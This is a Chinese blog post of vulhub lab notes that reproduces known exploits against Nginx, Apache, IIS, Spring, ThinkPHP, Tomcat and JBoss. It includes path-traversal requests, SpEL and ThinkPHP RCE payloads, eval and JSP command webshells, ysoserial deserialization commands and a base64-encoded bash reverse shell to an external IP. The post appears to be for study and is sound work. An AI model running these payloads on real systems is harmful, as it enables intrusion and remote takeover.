不正常的话,也就是开启了cgi.fix_pathinfo选项,这样会导致nginx把aaa.php后缀的文件交给fastcgi去处理,此时php解释器处理这个路径时,因为找不到aaa.php,那么他会去找上一层的文件来当作aaa.php文件执行,那么php.jpg就会被当作php代码执行

%00空子节截断漏洞

访问/UploadFiles/image/shell.php%00.jpg

Nginx 将 %00 保留

PHP 解码 %00\0

文件系统或字符串处理函数读取到 \0截断

实际调用的是 shell.php

nginx经常用作反向代理,

正向代理:客户端主动找代理,去访问目标

反向代理:客户端请求服务器,在请求服务器之前会先有个中间件进行代理请求

Apache

Apache多后缀名解析漏洞

apache允许一个文件有一个特性,那就是他允许一个文件有多个可以分割的后缀,apache会从右往左开始识别,如果他遇到无法识别的后缀名,那么就会依次向左识别。

如果给php后缀的文件加了个配置

AddHandler application/x-httpd-php .php

那么只要文件名中出现了.php后缀,就会被识别为php文件,没必要必须是最后一个后缀,这样就可以构造绕过白名单的后缀上传文件了。

Apache HTTPD换行解析漏洞(cve-2017-15715)

影响版本:2.4.0-2.4.290

程序在解析PHP时,如果文件名最后有一个换行符0x0A,apache依然会将其当成php解析,但是可以绕过黑名单限制。

具体原理:

管理员一般用如下的正则来过滤php后缀的恶意文件,

1
2
3
<FilesMatch "\.(php|phtml|php3)$">
SetHandler none
</FilesMatch>

Apache HTTPD(2.4.0 ~ 2.4.29)在配置文件中对路径后缀的匹配使用了正则表达式,正常情况下,“$”通常用来匹配字符串的结尾,但是如果Multiline模式开启,那么它们就不仅仅匹配整个字符串的起始或结尾,还可以匹配每一行的开始和结束(apache一般默认开启),指示字符串的结尾。

我上传了一个shell.php%0A

再去访问这个文件时会经过一个Apache 的 <FilesMatch "\.php$">的校验,如果在校验时shell.php%0A还没有进行解码,那么就会绕过这个校验,实现php代码的执行。

Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)

影响版本:Apache HTTP Server 2.4.49

漏洞原理:apache会对请求的url参数进行一个规范化处理,先利用ap_normalize_path()函数进行一个url解码,判断是否存在../字符,但是后期apache还会自己再处理一遍,而且处理的是url解码之前的请求,出现了一种逻辑错误,而apache对url的校验又不同于ap_normalize_path(),他会先检验第一个出现的. 然后如果说后面紧接着的两个字符是%2,而不是./那么就会实现绕过,所以说.%2e/或 %2e%2e/ 就可以实现apache的验证,最终实现路径穿越。

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 成功读取

如果开启了cgi 或 cgid还可以进行执行命令

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

路径穿越到真实的 /bin/sh 程序,然后直接对它发起请求

改post请求 发送 echo;id 成功执行命令

IIS5.x-IIS6.x解析漏洞

用这两个服务器一般是用的Windows server 2003系统,而且一般也是asp解析语言,解析漏洞也只能解析jsp文件。Win7 - Win10中多为iis7.x-8.x高版本服务器

目录解析(6.0)

www.xxx.com/xx.asp/xx.jpg 服务器默认会把xx.asp和xx.asa目录下的文件都解析成asp文件

文件解析

www.xxx.com/xx.asp;.jpg 服务器默认不解析;之后的内容,xx.asp;.jpg 直接被解析为xx.asp

解析文件类型

IIS6.0的可执行文件还有 /test.asa ,/test.cer ,/test.cdx

Java Spring

Spring框架指的是SpringFramework,是种轻量级开发框架。

SpEL是基于spring的一个表达式语言,可以在运行时动态执行一些指令。

类似于这样

Spring
1
2
#{1 + 2}             // 输出 3
#{T(Math).random()} // 执行 Java 类方法

CVE-2018-1270:Spring Messaging RCE(SpEL 注入)

客户端连接 WebSocket

构造消息订阅请求,selector 带入恶意 SpEL 表达式:

1
2
3
4
5
json


复制编辑
selector: T(java.lang.Runtime).getRuntime().exec('id')

服务端解析 selector → 执行 SpEL → RCE!

直接打exp

CVE-2018-1273:Spring Data Commons RCE

1
2
username[#this.getClass().forName("java.lang.Runtime")
.getRuntime().exec('id')]=x

CVE-2022-22947:Spring Cloud Gateway RCE

actuator/gateway/routes/ 接口可用于新增/刷新路由

可通过 POST 请求添加带有恶意 SpEL 的路由过滤器

刷新路由后 SpEL 被自动执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

然后刷新

1
2
3
4
5
6
7
8
9
10
11
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

##

ThinkPHP

什么是thinkphp

一种轻量级国产PHP开发框架,支持windows/Unix/Linux等服务器环境

image-20250618145817160

特征:html页面里有{$}, {:}, {foreach}等ThinkPHP特有的模板语法标签

如果页面请求错误,可能会显示默认的信息页面,通常包含thinkphp的logo和错误信息

ThinkPHP 2.x/3.0 远程代码执行

默认路由机制:

当访问index.php?s=/a/b/c/d/e/f时,ThinkPHP 会将奇数位作为,偶数位作为,组装为数组,也就是 pathinfo 参数绑定机制

$_GET[‘a’] = ‘b’;
$_GET[‘c’] = ‘d’;
$_GET[‘e’] = ‘f’;

旧版 PHP 中,/e表示将替换字符串作为 PHP 代码执行,那么我只需要让偶数个也就是位于值的位置的参数为命令,那么就可以实现命令执行,比如说

/index.php?s=/a/b/c/${@phpinfo()}

php中被解析为

$var[‘c’] = ${@phpinfo()};

如果后端对值的处理启用了/e参数进行替换,那么就会进行php命令的执行

最终成功执行phpinfo()

http://101.201.173.57:8080/?s=/index/index/index/${@print(eval($_POST[nex]))}

getshell

image-20250618153028221

ThinkPHP 5.x 远程代码执行漏洞5.0.23-rce

获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

image-20250618155110250

改post方法,打poc

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?s=captcha HTTP/1.1
Host: 101.201.173.57:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP 5.x 远程代码执行漏洞 5-rce

影响版本

ThinkPHP v5.0.0 ~ <5.0.23

ThinkPHP v5.1.0 ~ <5.1.31

前提:未开启强制路由(默认即未开启)

漏洞描述

ThinkPHP 在处理控制器(controller)时,没有对输入的类名/方法名进行严格验证,导致攻击者可以伪造请求,让框架调用任意类 → 执行任意函数 → 执行任意代码!

比如我请求/index.php?s=/index/\think\app/invokefunction

ThinkPHP 会解析为:

​ 模块:index

​ 控制器:\think\app

​ 方法:invokefunction

相当于我直接调用了系统内部类 \think\App 的方法,但是它原本并不对外开放

如果我访问

1
2
3
4
5
6
7
8
9
10
11
12
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo



/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami



/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=a.php&vars[1][]=<?php eval($_POST['a']);?>
url编码
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=a.php&vars[1][]=%3C%3Fphp%20eval%28%24_POST%5B%27a%27%5D%29%3B%3F%3E

image-20250618155850704

TOmcat

tomcat和apache经常组合使用

CVE-2017-12615任意文件上传

Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

如果将web.xml中的readonly改为false,那么就可以利用put请求来向服务器上传包含任意代码的 JSP 文件

直接改put请求上传下面的jsp木马

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>

jboss

JBoss 5.x和6.x反序列化漏洞CVE-2017-12149

JBOOS Application Server是一个基于J2EE的开放源代码的应用服务器

漏洞存在于Jboos的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,这个过滤器没有对来自客户端的数据流进行任何的校验就进行了反序列化,从而导致攻击者可以在服务器上运行任意代码

image-20250616191406142

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjE3My41Ny84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

image-20250616191400467

jboss 反序列化 (CVE-2017-7504)

http://101.201.173.57:8080/jbossmq-httpil/HTTPServerILServlet

漏洞位置:/jbossmq-httpil/HTTPServerILServlet

先尝试创建文件

1
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/123" > 1.ser
1
2
3
4
5
curl http://101.201.173.57:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

docker ps
docker exec -it bash
ls /tmp

image-20250616212029201

反弹shell

1
java -jar ysoserial-all.jar  CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjE3My41Ny84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > 1.ser
1
curl http://101.201.173.57:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser 
1
nc -lvvp 8888

成功拿到shell

image-20250616212533372

  • Title: vulhub(持续更新)
  • Author: WL
  • Created at : 2025-04-19 19:47:29
  • Updated at : 2025-06-20 00:54:48
  • Link: https://redefine.ohevan.com/2025/04/19/各大中间件漏洞复现/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments